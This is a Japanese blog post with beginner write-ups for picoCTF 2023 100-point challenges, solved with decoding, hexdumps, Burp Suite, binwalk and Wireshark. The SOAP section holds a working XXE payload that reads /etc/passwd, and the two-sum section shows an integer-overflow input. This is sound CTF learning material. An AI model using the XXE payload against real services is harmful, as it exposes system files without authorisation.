LoginSignup
0
0

More than 1 year has passed since last update.

picoCTF 2023 100-points Write up

Posted at

この記事は深刻なネタバレを含みます。

picoCTF 2023 100-points

初心者の私でも解けた比較的易しい100点問題だけの Write-Up です。
自分の記録用に書きましたが誰かの参考になれば…

Web Exploitation

findme

誘導に乗ってリンクに飛んでみる

I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)

と書いている。リダイレクト?
Burp Suite のプロキシ使って HTTP リクエストを覗いてみる。
ユーザ名とパスワード入れた後のリクエストで

GET /next-page/id=cGljb0NURntwcm94aWVzX2Fs HTTP/1.1
Host: saturn.picoctf.net:58312
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:58312/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

idのcGljb0NURntwcm94aWVzX2Fsが怪しそう。
Base64でデコードするとpicoCTF{proxies_alが出てくる。
次のリクエストも続けてデコードすると
picoCTF{proxies_all_the_wa**********}

MatchTheRegex

リンクを開くとなんとなく「正しい文字列を入れるとflagが出る問題」かなと予想できる。
けど当然文字列なんて見当もつかないからHTMLファイルを覗いてみる。(chromeのデベロッパーツールとか)

function send_request() {
    let val = document.getElementById("name").value;
    // ^p.....F!?
    fetch(`/flag?input=${val}`)
        .then(res => res.text())
        .then(res => {
            const res_json = JSON.parse(res);
            alert(res_json.flag)
            return false;
        })
    return false;
}

// ^ p.....F!?は多分picoCTFなんやろなぁと
入力すると
picoCTF{succ3ssfully_matchtherege**********}

SOAP

ヒント君「XML external entity Injection」→お前は何を言っているんだ
とりあえずググってもよくわからないけど例が色々出てくるので参考にしてみる。
画面内のボタンを押すと文字が表示されたりするのでBurp Suiteで覗いてみる

<?xml version="1.0" encoding="UTF-8"?>
<data>
    <ID>
        1
    </ID>
</data>

のところを例を参考に

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>
    <ID>
        &xxe;
    </ID>
</data>

に書き換えて送信してみると

(前略)
picoctf:x:1001:picoCTF{XML_3xtern@l_3nt1t1t**********}

を吐くので
picoCTF{XML_3xtern@l_3nt1t1**********}

Cryptography

HideToSee

% steghide exract -sf atbash.jpg
Enter passphrase: (No inputs)
wrote extracted data to "encrypted.txt".
% cat encrypted.txt
krxlXGU{zgyzhs_xizxp_1u84w779}

これはファイル名から atbash 暗号であることがわかるので、デコードする。
picoCTF{atbash_crac**********}
期間内にこの問題だけまじで分かりませんでした…簡単なのに…

ReadMyCert

最初の行をデコードするとflagっぽいものが見えるけど、最後までデコードしようとするとなんかバグってる…ので部分的にデコードしてみる。
最初から二行目の途中まで

MIICpzCCAY8CAQAwPDEmMCQGA1UEAwwdcGljb0NURntyZWFkX215Y2VydF9hNzE2M2JlOH0xEjAQBgNVBCkMCWN0ZlBsYXllcj

をデコードすると

0‚§0‚0<1&0$UpicoCTF{read_mycer**********}10U)	ctfPlayer

が出てきた。
picoCTF{read_mycer**********}

rotation

名前のとおり roation (シーザー暗号)と予想する。
こことか使うとデコードできる。
picoCTF{r0tat1on_d3crypt3**********}

Reverse Engineering

Ready Gladiator 0

% nc saturn.picoctf.net <PORT NUMBER>
Submit your warrior: (enter 'end' when done)
;assert 100 
;assert 100 
end
end

Warning:
        No instructions
Number of warnings: 1

Rounds: 100
Warrior 1 wins: 0
Warrior 2 wins: 100
Ties: 0
You did it!
picoCTF{h3r0_t0_z3r0_4m1r1gh**********}

何が起きたかわからないけどとりあえずflag吐いたのでヨシ!
picoCTF{h3r0_t0_z3r0_4m1r1gh**********}

Reverse

% cat ret
@@@@?((UU   ???-?=?=x??-?=?=?888...(以下省略)

意味のある文字列ではなさそう?

% chmod 700 ret
% ./ret
zsh: exec format error: ./ret

実行もできなさそう…(環境の問題?)

% hexdump -C ret
(前略)
00002000  01 00 02 00 00 00 00 00  45 6e 74 65 72 20 74 68  |........Enter th|
00002010  65 20 70 61 73 73 77 6f  72 64 20 74 6f 20 75 6e  |e password to un|
00002020  6c 6f 63 6b 20 74 68 69  73 20 66 69 6c 65 3a 20  |lock this file: |
00002030  00 25 73 00 59 6f 75 20  65 6e 74 65 72 65 64 3a  |.%s.You entered:|
00002040  20 25 73 0a 00 00 00 00  50 61 73 73 77 6f 72 64  | %s.....Password|
00002050  20 63 6f 72 72 65 63 74  2c 20 70 6c 65 61 73 65  | correct, please|
00002060  20 73 65 65 20 66 6c 61  67 3a 20 70 69 63 6f 43  | see flag: picoC|
00002070  54 46 7b 33 6c 66 5f 72  33 76 33 72 35 69 6e 67  |TF{3lf_r3v3r5ing|
00002080  5f 73 75 63 63 65 35 35  66 75 6c 5f 37 38 35 31  |_succe55fu******|
00002090  65 66 37 64 7d 00 41 63  63 65 73 73 20 64 65 6e  |****}.Access den|
000020a0  69 65 64 00 01 1b 03 3b  40 00 00 00 07 00 00 00  |ied....;@.......|
(後略)

flagっぽい文字列がそこには
picoCTF{3lf_r3v3r5ing_succe55fu**********}

Safe Opener 2

Reverseと同じ解き方で解ける。(ヒントはdecompileとか言ってるけど面倒)

% hexdump -C SafeOpener.class
(前略)
00000310  29 20 6c 65 66 74 0c 00  7d 00 74 01 00 2c 70 69  |) left..}.t..,pi|
00000320  63 6f 43 54 46 7b 53 41  66 33 5f 30 70 33 6e 33  |coCTF{SAf3_0p3n3|
00000330  72 72 5f 79 30 75 5f 73  6f 6c 76 33 64 5f 69 74  |rr_y0u_solv3d_it|
00000340  5f 62 34 32 37 39 34 32  62 7d 0c 00 7e 00 7f 01  |_b427942b}..~...|
(後略)

picoCTF{SAf3_0p3n3rr_y0u_solv3d_i**********}

timer

ヒントに乗ってあげようじゃないか。
jadxを使ってみます。

% jadx timer.apk
% timer
% tree
.
├── resources
│   ├── AndroidManifest.xml
│   ├── META-INF
│   │   ├── CERT.RSA
│   │   ├── CERT.SF
│   │   ├── MANIFEST.MF
│   │   ├── androidx.activity_activity.version
│   │   ├── androidx.annotation_annotation-experimental.version
│   │   ├── androidx.appcompat_appcompat-resources.version
│   │   ├── androidx.appcompat_appcompat.version
│   │   ├── androidx.arch.core_core-runtime.version
│   │   ├── androidx.cardview_cardview.version
│   │   ├── androidx.coordinatorlayout_coordinatorlayout.version
│   │   ├── androidx.core_core-ktx.version
(後略)

ふぁいるがたくさん…
どこかにpicoCTF{...}の文字列を含むファイルありそう…?
プログラム組んで探してもいいけど…
なんとなくありそうなファイルを探していくとtimer/resources/AndroidManifest.xmlに何か…
picoCTF{t1m3r_r3v3rs3d_succ355f**********}

Virtual Machine 0

青の歯車は何回転する?って問題だけどどう見ても歯車の色は白…
おそらく入力の5倍回転するはず。outputは198614235373674103788002620892906122161486462450519979543690291018195820925
これはbase64ではなさそう…?
どうやらこれは10進数なので16進数に直したあとでHexStringに変換する。こんな変換もあるんすねぇ…
picoCTF{g34r5_0f_m0r**********}

Forensics

hideme

画像はとりあえずbinwalkしとく

% binwalk -e flag.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
39739         0x9B3B          Zip archive data, at least v1.0 to extract, name: secret/
39804         0x9B7C          Zip archive data, at least v2.0 to extract, compressed size: 2997, uncompressed size: 3152, name: secret/flag.png
43036         0xA81C          End of Zip archive, footer length: 22

% cd _flag.png.extracted 
% tree
.
├── 29
├── 29.zlib
├── 9B3B.zip
└── secret
    └── flag.png

falg.pngに画像としてflagが見えます。読むの面倒
picoCTF{Hiddinng_An_imag3_within_@n_ima9**********}

PcapPoisoning

pcapファイルはとりあえずwiresharkを使って見てみましょう。
picoCTFで文字列検索すると一発で出てきます。
(Packet Bytes, Narrow, Stringに設定の上)
picoCTF{P64P_4N4L7S1S_SU55355FU**********}

who is it

このメールは誰の(名前の)サーバから来たのかを見つける問題。
普通に開いても普通の(?)詐欺メールっぽいのでターミナルで見てみる。

% cat email-export.eml
Delivered-To: francismanzi@gmail.com
Received: by 2002:ab0:638a:0:0:0:0:0 with SMTP id y10csp123720uao;
        Thu, 7 Jul 2022 23:19:48 -0700 (PDT)
(中略)
Return-Path: <lpage@onionmail.org>
Received: from mail.onionmail.org (mail.onionmail.org. [173.249.33.206])
        by mx.google.com with ESMTPS id f16-20020a05600c4e9000b003a1947873d6si1882702wmq.224.2022.07.07.23.19.47
        for <francismanzi@gmail.com>
        (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
        Thu, 07 Jul 2022 23:19:47 -0700 (PDT)
(後略)

Received: from ... [173.249.33.206]
ヒントに乗ってIPアドレスで調べてみると

% whois 173.249.33.206
(前略)
person:         Wilhelm Zwalina
address:        Contabo GmbH
address:        Aschauer Str. 32a
address:        81549 Muenchen
phone:          +49 89 21268372
fax-no:         +49 89 21665862
nic-hdl:        MH7476-RIPE
mnt-by:         MNT-CONTABO
mnt-by:         MNT-GIGA-HOSTING
created:        2010-01-04T10:41:37Z
last-modified:  2020-04-24T16:09:30Z
source:         RIPE
(後略)

人名っぽいのがありますね。
picoCTF{WilhelmZwa****}

FindAndOpen

zipファイルとpcapファイル。
zipには鍵がかかってるけど…ヒントから察するにpcapにパスワードがありそう?
pcapはとりあえず wireshark 君に覗かせよう。
意味ありげなところだけ抜粋すると
「Flying on Ethernet secret: Is this the flag」
「iBwaWNvQ1RGe1Could the flag have been splitted??」
「PBwaWUvQ1RGe1Maybe try checking the other file」
とか煽ってきやがった。

多分base64なんやろなぁとそれっぽいところを探すと
「AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
データの区切りで太文字のところだけをbase64でデコードするとThis is the secret: picoCTF{R34DING_LOKd_となる。
picoCTF{R34DING_LOKd_のところをzipの鍵として入力すると解凍できた。なかみのテキストファイルにflagが書いてある。
picoCTF{R34DING_LOKd_fil56_succ3**********}

General Skills

chrono

問題文から定期実行するコマンドcrontabを連想できる…のでその設定?ファイルを覗く。

picoplayer@challenge:~$ cd /etc
picoplayer@challenge:/etc$ ls -la
total 272
drwxr-xr-x 1 root   root       66 Apr 22 07:38 .
drwxr-xr-x 1 root   root       51 Apr 22 07:38 ..
(中略)
drwxr-xr-x 2 root   root       26 Mar 16 02:00 cron.monthly
drwxr-xr-x 2 root   root       26 Mar 16 02:00 cron.weekly
-rw-r--r-- 1 root   root       43 Mar 16 02:00 crontab
drwxr-xr-x 4 root   root       39 Mar 16 02:00 dbus-1
-rw-r--r-- 1 root   root     2969 Aug  3  2019 debconf.conf
(後略)
picoplayer@challenge:/etc$ cat crontab 
# picoCTF{Sch3DUL7NG_T45K3_L1NU**********}

picoCTF{Sch3DUL7NG_T45K3_L1NU**********}

money-ware

とりあえず「1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX」で検索。
このページから複数の名前があるのがわかるので全部試す。
picoCTF{Pet**}

Permissions

解き方忘れた…

repetitions

base64っぽいのでデコードすると→

VjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX
bUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW
MlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVkM0JUVW14V05GWkhjRXRXCk1rWnlUVWhzVjJGdGVFVlhi
bTkzVDFWT2JsQlVNRXNLCg==

が出てくる。同様にデコードをn回繰り返すと
picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3**********}

useless

userlessの中を覗いていく。

#!/bin/bash
# Basic mathematical operations via command-line arguments

if [ $# != 3 ]
then
  echo "Read the code first"
else
	if [[ "$1" == "add" ]]
	then 
	  sum=$(( $2 + $3 ))
	  echo "The Sum is: $sum"  

	elif [[ "$1" == "sub" ]]
	then 
	  sub=$(( $2 - $3 ))
	  echo "The Substract is: $sub" 

	elif [[ "$1" == "div" ]]
	then 
	  div=$(( $2 / $3 ))
	  echo "The quotient is: $div" 

	elif [[ "$1" == "mul" ]]
	then
	  mul=$(( $2 * $3 ))
	  echo "The product is: $mul" 

	else
	  echo "Read the manual"
	 
	fi
fi

四則演算するだけの至って無駄なプログラム…どこにもフラグは隠せなさそうだけど…
最後の"Read the manual"が引っかかる→マニュアルを見てみる。

$ man useless 

useless
     useless, — This is a simple calculator script

SYNOPSIS
     useless, [add sub mul div] number1 number2

DESCRIPTION
     Use the useless, macro to make simple calulations like addition,subtraction, multiplication and divi‐
     sion.

Examples
     ./useless add 1 2
       This will add 1 and 2 and return 3

     ./useless mul 2 3
       This will return 6 as a product of 2 and 3

     ./useless div 6 3
       This will return 2 as a quotient of 6 and 3

     ./useless sub 6 5
       This will return 1 as a remainder of substraction of 5 from 6

Authors
     This script was designed and developed by Cylab Africa

     picoCTF{us3l3ss_ch4ll3ng3_3xpl**********}

はい。
picoCTF{us3l3ss_ch4ll3ng3_3xpl**********}

Binary Exploitation

babygame01

よく分かってませんが手当たり次第探索した結果wwwwaaaaaaaapを入力するとフラグを吐きます。
picoCTF{gamer_m0d3_enable**********}

two-sum

とりあえず動かしてみる。

% nc saturn.picoctf.net *****
n1 > n1 + n2 OR n2 > n1 + n2 
What two positive numbers can make this possible: 
3 4
You entered 3 and 4
No overflow

この結果とソースコードの中身から、「オーバーフローして負にならないような2つの値」の足し算でオーバーフローさせれば良さそう?と予測。
こんな感じ。

% nc saturn.picoctf.net 59059
n1 > n1 + n2 OR n2 > n1 + n2 
What two positive numbers can make this possible: 
1234567890 1234567890
You entered 1234567890 and 1234567890
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0**********}

picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0**********}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0